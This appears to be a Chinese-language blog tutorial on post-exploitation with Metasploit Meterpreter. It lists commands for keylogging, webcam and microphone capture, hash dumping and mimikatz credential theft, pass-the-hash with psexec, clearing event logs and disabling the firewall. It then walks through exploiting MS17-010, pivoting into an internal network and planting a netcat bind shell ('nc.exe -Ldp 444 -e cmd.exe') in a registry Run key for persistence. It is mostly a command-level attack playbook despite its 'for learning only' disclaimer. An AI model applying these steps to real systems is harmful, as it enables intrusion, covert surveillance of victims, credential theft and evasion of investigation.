后渗透攻击(PostExploitation)是整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。
- 目标资产信息搜集的广度,决定渗透过程的复杂程度。
- 目标主机信息搜集的深度,决定后渗透权限持续把控。
- 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。
- 持续渗透的本质是线索关联,而线索关联为后续的攻击链方提供了强大的方向。
- 后渗透的本质是权限把控,而权限把控为后渗透提供了以牺牲时间换取空间强大基础。
一、前言
我们知道前端安全包括了SQL注入,任意文件上传,XSS,CSRF,逻辑漏洞,跨域漏洞等等,我们可以将这些漏洞加以利用或组合来进行getshell的。在这里我们再区分一下getshell和webshell的区别,webshell更多的是获取前端的权限,顾名思义,一般仅限于前端或文件的增删改查;那么getshell则是获取更大的权限。一般的思路为挖掘漏洞,通过漏洞加以组合或利用获取webshell或后台权限,之后再进一步getshell。
二、后渗透之meterpreter
Meterpreter 是Metasploit 框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用, 攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系 统的一个 Meterpreter shell 的链接。
Meterpreter 能够躲避入侵检测系 统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此 HIDS[基于主机的入侵检测系统] 很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有 经验的人也会变得非常困难。
meterpreter常用命令
1.基本命令
- help# 查看 Meterpreter 帮助
- background#返回,把 meterpreter 后台挂起
- bgkill# 杀死一个背景 meterpreter 脚本
- bglist#提供所有正在运行的后台脚本的列表
- bgrun#作为一个后台线程运行脚本
- channel#显示活动频道
- sessions -i number # 与会话进行交互,number 表示第 n 个 session,使用 session -i 连接 到指定序号的 meterpreter 会话已继续利用
- sessions -k number #与会话进行交互
- sessions -j #
- close# 关闭通道
- exit# 终止 meterpreter 会话
- quit# 终止 meterpreter 会话
- interact id #切换进一个信道
- run#执行一个已有的模块,这里要说的是输入 run 后按两下 tab,会列出所有的已有的脚本, 常用的有 autoroute,hashdump,arp_scanner,multi_meter_inject 等
- irb# 进入 Ruby 脚本模式
- read# 从通道读取数据
- write# 将数据写入到一个通道
- run 和 bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
- use# 加载 meterpreter 的扩展
- load/use#加载模块
- Resource#执行一个已有的 rc 脚本
2.文件系统命令
- cat c:\boot.ini#查看文件内容,文件必须存在
- del c:\boot.ini #删除指定的文件
- upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如 upload setup.exe C:\windows\system32\
- download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者 download C:\“ProgramFiles”\Tencent\QQ\Users\295****125\Msg2.0.db /root/
- edit c:\boot.ini # 编辑文件
- getlwd#打印本地目录
- getwd#打印工作目录
- lcd#更改本地目录
- ls#列出在当前目录中的文件列表
- lpwd#打印本地目录
- pwd#输出工作目录
- cd c:\ #进入目录文件下
- rm file #删除文件
- mkdir dir #在受害者系统上的创建目录
- rmdir#受害者系统上删除目录
- dir #列出目标主机的文件和文件夹信息
- mv#修改目标主机上的文件名
- search -d d:\www -f web.config #search 文件,如 search -d c:\ -f.doc meterpreter > search -f autoexec.bat #搜索文件
- meterpreter > search -f sea.bat c:\xamp\ enumdesktops #用户登录数
- execute # 目标主机上执行一个命令
3.网络命令
- ipconfig/ifconfig #显示网络接口的关键信息,包括 IP 地址
- portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听 4444,把目标机 3389 转 到本机 4444
- netstat -an | grep“4444" #查看指定端口开放情况
- rdesktop -u Administrator -p p@ssw0rd 127.0.0.1:4444 #使用 rdesktop 来连接 桌面,-u 用户名 -p 密码
- rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接
- route#查看或修改受害者路由表
- route add 192.168.1.0 255.255.255.0 1 #添加动态路由
- route print #路由表输出
- runget_local_subnets #目标主机的内网 IP 段情况
- Arp #看 ARP 缓冲表
- Getproxy #获取代
4.键盘监听
- Meterpreter 还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
- keyscan_start:开启键盘记录功能
- keyscan_dump:显示捕捉到的键盘记录信息
- keyscan_stop:停止键盘记录功能
- uictl enable keyboard/mouse#接管目标主机的键盘和鼠标。
- meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能
- meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录
- meterpreter > keyscan_stop #停止针对目标主机的键盘记录
5.系统命令
- reboot#重新启动受害人的计算机
- reg #与受害人的注册表进行交互
- rev2self#回到控制目标主机的初始用户账户下
- shell#获得控制台权限 shutdown#关闭了受害者的计算机
- sysinfo # 查看目标机系统信息,如机器名,操作系统等
- getgui #(创建一个用户,客户端化)
- run getgui –h #查看帮助
- run getgui –e #开启远程桌面
- run getgui -u Star_Cheng -p 123321 #添加用户
- run getgui -f 4446 –e #3389 端口转发到 4446
- shell 命令 获取目标主机的远程命令行 shell,如果出错,考虑是目标主机限制了 cmd.exe 的访问权,可以使用 migrate 注入到管理员用户进程中再尝试
6.mimikatz
- meterpreter > load mimikatz #加载 mimikatz
- meterpreter > msv #获取 hash 值
- meterpreter > kerberos #获取明文
- meterpreter >ssp #获取明文信息
- meterpreter > wdigest #获取系统账户信息
- meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
- meterpreter >mimikatz_command -f hash:: #获取目标 hash
- meterpreter > mimikatz_command -f samdump::hashes
- meterpreter > mimikatz_command -f sekurlsa::searchPasswords
7.网络嗅探
- meterpreter > use sniffer # 加载嗅探模块
- meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动 嗅探
- meterpreter > sniffer_stop 2 #停止嗅探
8.获取敏感信息
- run post/windows/gather/checkvm #是否虚拟机
- run post/windows/gather/enum_applications #获取安装软件信息
- run post/windows/gather/dumplinks #获取最近的文件操作
- run post/windows/gather/enum_ie #获取 IE 缓存
- run post/windows/gather/enum_chrome #获取 Chrome 缓存
- run scraper #获取常见信息 #保存在~/.msf4/logs/scripts/scraper/目录下
9.获取 Hash
- 使用“hashdump”命令可以从系统提取用户名和密码 hashes。使用 hashdump 命令可以获取目标主 机的 SAM 文件,获取目标主机的账号密码 hash 信息,剩下的可以用爆破软件算出明文密
- meterpreter > run post/windows/gather/smart_hashdump
- run post/windows/gather/hashdump
10.通过 Hash 获取权限
- msf > use exploit/windows/smb/psexec
- msf exploit(psexec) > show options
- msf exploit(psexec) > set RHOST 192.168.0.254
- RHOST => 192.168.0.254
- msf exploit(psexec) > set SMBUser isosky SMBUser => isosky
- msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
- msf exploit(psexec) > exploit
11.捕捉屏幕
- meterpreter > screenshot
12.得到远程桌面
- run vnc
13.权限提升
- 提权大体有以下几种方法: ·
- 使用 getsystem 提升权限
- ·利用本地漏洞 ·
- 假冒令牌 ·绕过 Windows 账户控制(UAC) ·
- HASH
(具体方法百度吧,我懒得写了0.0 或者看以后有空再更新一下)
14.清除事件日志
执行“clearev”命令,将清除事件日志。这个命令没有任何选项或参数。 执行“clearev”命令后打开目标机器的事件查看器里面的应用程序、安全性、系统都是是空的。(注意这个操作应该需要提权才能成功,我就是没提权,然后一直清楚不来,然后一提权,一下就搞定了)
15.网络摄像头
- record_mic #音频录制
- webcam_chat #查看摄像头接口
- webcam_list #查看摄像头列表
- webcam_stream #摄像头视频获取
16. 通过shell 来关闭防火墙
- netsh advfirewall set allprofiles state off
三、利用ms17-010漏洞进行后渗透攻击
1、添加后门(持续攻击APT)及清除日志
首先利用漏洞ms17-010渗透进入,拿到meterpreter。过程简单不再赘述。
在 Meterpreter 会 话 中 运 行 persistence 后 渗 透 攻 击 模 块 , 在 目 标 主 机 的 注 册 表 键 KHLM\Software\Microsoft\windows\Currentversion\Run 中添加键值达到自启动的目的;-X 参数 指定启动的方式为开机自启动;-i 参数指定反向连接的时间间隔;然后建立 Meterpreter 的客户 端,-p 参数指定回连的 443 端口进行监听;-r 参数指定回连的主机(攻击机)
选择 exploit/multi/handler 模块,并选择 Meterpreter 回连会话的攻击载荷,执行 exploit 命令将开启监听,等目标主机重启之后,会通过注册表项中的自启动键设置启动 Meterpreter 攻击载 荷,成功建立反向连接。
我们通过远程入侵主机,会在对方主机日志中留下记录。所以我们需要删除日志信息,清除痕迹。输入clearev 清除日志(注意删除日志首先需要提权操作)
如图成功删除日志
2、以win7为靶机做跳板,进行其他网段信息收集ms17-010漏洞进行攻击
首先查看已拿下主机的内网ip段情况 run get_local_subnets
然后添加去往目标内网网段(172.16.16.0/24)的静态路由
使用run autoroute –s 172.16.16.0/24添加路由(这一步忘截图了0.0)
run autoroute –p查看是否添加成功。
设置好路由后对内网进行扫描,扫描内网中打开3389端口的主机,发现有4个
然后对内网主机进行扫描,查看是否存在 ms17_010 漏洞,绿色的表示可能存在该漏洞
接着进行进一步攻击,设置好相应的攻击模块,攻击载荷以及参数
入侵成功并创建会话,进入到了meterpreter
3、把netcat(瑞士军刀)的nc.exe_上传到目标机_上,然后设置开机运行(需要在注册表中设置)
上传nc 到目标机
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
枚举注册表内容(开机启动)
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
在该注册表增加内容(开机启动)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d “C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe”
查看内容是否增加成功:
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
附:其中一个提权操作
进入目标主机一般是一个比较低级的权限,我们需要通过提权获取一个管理员权限。一般通过getsystem命令会失败。所以我们这儿换一种方法。我们首先查看最初的权限为中等普通权限
然后回到控制台,将当前会话放到后台。 命令:background 如图显示放在会话2
然后换个一个攻击模块。这里用这个,windows/local/bypassuac 这里local是本地的意思,bypass是绕过的意思,然后uac是用来控制windows用户权限的。所以这里的意思就是绕过uac机制进行提权。
设置好后回到会话2 然后开始攻击
可以看到,我们已经拿到一个高的权限了
仅供学习参考,切勿恶意用途!
网络安全零基础学习路线
对于从来没有接触过网络安全的同学,我帮你们准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
如果需要xmind版学习路线的话,可以在评论区告诉我。